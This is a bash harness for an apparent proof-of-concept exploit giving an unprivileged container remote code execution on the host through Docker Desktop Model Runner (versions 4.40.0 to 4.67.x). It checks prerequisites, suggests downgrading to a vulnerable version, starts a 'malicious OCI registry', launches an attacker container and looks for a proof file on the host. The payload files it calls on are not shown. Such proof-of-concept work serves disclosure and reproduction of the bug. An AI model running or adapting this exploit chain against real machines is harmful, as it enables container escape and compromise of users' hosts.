#!/bin/bash
#
# Docker Model Runner container-to-host RCE PoC
#
# ./run_poc.sh              everything (prereq, registry, tests, attack, proof)
# ./run_poc.sh test         source code claim validation only
# ./run_poc.sh attack       registry + attack from container
# ./run_poc.sh check        just check prereqs
# ./run_poc.sh clean        kill containers, remove proof files
#
# Needs:
#   - Docker Desktop, Model Runner enabled (Settings > Features > Model Runner)
#   - A Python backend (vllm-metal on Apple Silicon, vLLM on Linux+NVIDIA)
#   - Python 3 on the host (for test_claims.py)

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
cd "$SCRIPT_DIR"

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
CYAN='\033[0;36m'
BOLD='\033[1m'
NC='\033[0m'

REGISTRY_PORT="${REGISTRY_PORT:-5555}"
PROOF_FILE="${PROOF_FILE:-/tmp/poc_rce_proof}"
MODE="${1:-full}"

header() {
    echo ""
    echo -e "${BOLD}${CYAN}$1${NC}"
    echo ""
}

# Returns 0 if $1 >= $2 (semver-ish compare via sort -V).
ver_ge() {
    [ "$(printf '%s\n' "$2" "$1" | sort -V | head -n1)" = "$2" ]
}

# Try to read the Docker Desktop version. Engine version (from `docker version`)
# is the daemon, not Desktop, and `docker desktop version` returns the CLI plugin
# version - also not what we want. So: plist on macOS, dpkg on Linux.
docker_desktop_version() {
    local v

    if [ -f "/Applications/Docker.app/Contents/Info.plist" ]; then
        v=$(defaults read /Applications/Docker.app/Contents/Info.plist CFBundleShortVersionString 2>/dev/null)
        if [ -n "$v" ]; then echo "$v"; return; fi
    fi

    if command -v dpkg-query &>/dev/null; then
        v=$(dpkg-query -W -f='${Version}' docker-desktop 2>/dev/null | sed 's/-.*//')
        if [ -n "$v" ]; then echo "$v"; return; fi
    fi

    echo ""
}

check_prereqs() {
    header "Checking prerequisites..."
    local ok=true

    if ! command -v docker &>/dev/null; then
        echo -e "  ${RED}[FAIL]${NC} docker not found"
        ok=false
    elif ! docker info &>/dev/null 2>&1; then
        echo -e "  ${RED}[FAIL]${NC} Docker daemon not running"
        ok=false
    else
        local docker_ver
        docker_ver=$(docker version --format '{{.Server.Version}}' 2>/dev/null)
        echo -e "  ${GREEN}[OK]${NC}   Docker engine ${docker_ver}"
    fi

    local dd_ver
    dd_ver=$(docker_desktop_version)
    if [ -z "$dd_ver" ]; then
        echo -e "  ${YELLOW}[WARN]${NC} Docker Desktop version not detected"
        echo -e "         Vulnerable range: 4.40.0 <= version < 4.68.0."
    elif ! ver_ge "$dd_ver" "4.40.0"; then
        echo -e "  ${RED}[FAIL]${NC} Docker Desktop ${dd_ver} is older than 4.40.0 (no Model Runner)"
        echo -e "         Model Runner shipped in 4.40.0. Upgrade to a vulnerable version (4.40.0 - 4.67.x)."
        ok=false
    elif ver_ge "$dd_ver" "4.68.0"; then
        echo -e "  ${RED}[FAIL]${NC} Docker Desktop ${dd_ver} is patched (fix landed in 4.68.0)"
        echo -e "         Downgrade to a vulnerable version (4.40.0 - 4.67.x) to reproduce."
        ok=false
    else
        echo -e "  ${GREEN}[OK]${NC}   Docker Desktop ${dd_ver} (vulnerable: 4.40.0 <= ${dd_ver} < 4.68.0)"
    fi

    if docker compose version &>/dev/null 2>&1; then
        echo -e "  ${GREEN}[OK]${NC}   docker compose available"
    else
        echo -e "  ${RED}[FAIL]${NC} docker compose not available"
        ok=false
    fi

    if command -v python3 &>/dev/null; then
        echo -e "  ${GREEN}[OK]${NC}   python3 available"
    else
        echo -e "  ${YELLOW}[WARN]${NC} python3 not found, test_claims.py won't run locally"
    fi

    if docker model list &>/dev/null 2>&1; then
        echo -e "  ${GREEN}[OK]${NC}   docker model command works"
    else
        echo -e "  ${YELLOW}[WARN]${NC} 'docker model' missing"
        echo -e "         Either Model Runner is off, or Docker Desktop is too old."
        echo -e "         Settings > Features > Model Runner"
    fi

    local mr_status
    mr_status=$(docker run --rm curlimages/curl -sf -o /dev/null -w "%{http_code}" \
        http://model-runner.docker.internal/api/tags 2>/dev/null)
    if [ "$mr_status" = "200" ]; then
        echo -e "  ${GREEN}[OK]${NC}   Model Runner API reachable from containers"
    else
        echo -e "  ${YELLOW}[WARN]${NC} Model Runner API not reachable (HTTP ${mr_status:-timeout})"
        echo -e "         Static analysis still works; runtime chain needs Model Runner."
    fi

    if lsof -i ":$REGISTRY_PORT" &>/dev/null 2>&1; then
        echo -e "  ${YELLOW}[WARN]${NC} Port $REGISTRY_PORT in use"
    else
        echo -e "  ${GREEN}[OK]${NC}   Port $REGISTRY_PORT free"
    fi

    echo ""
    if [ "$ok" = false ]; then
        echo -e "${RED}Prereqs not met. Fix the FAILs above.${NC}"
        return 1
    fi
    return 0
}

start_registry() {
    header "Starting malicious OCI registry..."

    docker compose up -d --build registry 2>&1 | sed 's/^/  /'

    echo "  Waiting for health check..."
    local attempts=0
    while [ $attempts -lt 30 ]; do
        local health
        health=$(curl -sf "http://localhost:$REGISTRY_PORT/_poc/selftest" 2>/dev/null)
        if echo "$health" | grep -q '"passed": true'; then
            echo -e "  ${GREEN}Registry up on port $REGISTRY_PORT${NC}"

            echo ""
            echo "  Self-test:"
            echo "  $health" | python3 -c "
import sys, json
try:
    d = json.load(sys.stdin)
    print(f'    Blobs: {d[\"blob_count\"]}')
    print(f'    Self-test: {\"PASSED\" if d[\"passed\"] else \"FAILED\"} ')
except: pass
" 2>/dev/null
            return 0
        fi
        attempts=$((attempts + 1))
        sleep 1
    done

    echo -e "  ${RED}Registry didn't come up in 30s${NC}"
    echo "  docker compose logs registry"
    return 1
}

run_tests() {
    header "Running claim validation..."

    if ! command -v python3 &>/dev/null; then
        echo -e "  ${RED}python3 missing, can't run tests${NC}"
        return 1
    fi

    REGISTRY_HOST=localhost \
    REGISTRY_PORT="$REGISTRY_PORT" \
    PROOF_FILE="$PROOF_FILE" \
    python3 test_claims.py "$@"
}

run_attack() {
    header "Attacking from an unprivileged container..."

    REGISTRY_PORT="$REGISTRY_PORT" \
    PROOF_FILE="$PROOF_FILE" \
    docker compose run --rm attacker
}

check_proof() {
    header "Looking for RCE proof on host..."

    if [ -f "$PROOF_FILE" ]; then
        echo -e "  ${GREEN}${BOLD}RCE CONFIRMED${NC}"
        echo ""
        echo "  Proof file: $PROOF_FILE"
        echo "  Contents:"
        cat "$PROOF_FILE" | sed 's/^/    /'
        echo ""

        if [ -f "${PROOF_FILE}.flag" ]; then
            echo "  Flag: $(cat "${PROOF_FILE}.flag")"
        fi

        echo ""
        echo "  Means:"
        echo "    - unprivileged container got host-level code execution"
        echo "    - no Docker socket, no --privileged, no caps"
        echo "    - two HTTP requests to model-runner.docker.internal"
        return 0
    else
        echo -e "  ${YELLOW}No proof file at $PROOF_FILE${NC}"
        echo ""
        echo "  Why this might happen:"
        echo "    1. No Python backend installed (vllm-metal, vLLM, MLX, SGLang)"
        echo "    2. Model loading failed before the tokenizer import"
        echo "    3. Model Runner picked llama.cpp (C++, not vulnerable)"
        echo "    4. Model Runner not enabled"
        echo ""
        echo "  Static analysis (./run_poc.sh test) still proves the bug is in the code."
        return 1
    fi
}

cleanup() {
    header "Cleaning up..."

    docker compose down --volumes --remove-orphans 2>/dev/null
    echo "  Containers stopped"

    for f in "$PROOF_FILE" "${PROOF_FILE}.flag"; do
        if [ -f "$f" ]; then
            rm -f "$f"
            echo "  Removed $f"
        fi
    done

    echo -e "  ${GREEN}Done${NC}"
}

echo -e "${BOLD}================================================${NC}"
echo -e "${BOLD}Docker Model Runner container-to-host RCE PoC${NC}"
echo -e "${BOLD}================================================${NC}"

case "$MODE" in
    full)
        check_prereqs || exit 1
        start_registry || exit 1
        run_tests --static-only
        echo ""
        run_attack
        check_proof
        echo ""
        run_tests --runtime-only
        echo ""
        echo -e "${BOLD}Done. './run_poc.sh clean' to tear down.${NC}"
        ;;
    test)
        run_tests --static-only
        ;;
    attack)
        check_prereqs || exit 1
        start_registry || exit 1
        run_attack
        check_proof
        echo ""
        echo -e "${BOLD}Done. './run_poc.sh clean' to tear down.${NC}"
        ;;
    check)
        check_prereqs
        ;;
    clean)
        cleanup
        ;;
    *)
        echo ""
        echo "Usage: $0 [full|test|attack|check|clean]"
        echo ""
        echo "  full    full PoC (prereqs, registry, static tests, attack, proof, runtime tests)"
        echo "  test    source-code claim validation only"
        echo "  attack  registry + attack from unprivileged container"
        echo "  check   prereqs only"
        echo "  clean   stop containers, remove proof files"
        exit 1
        ;;
esac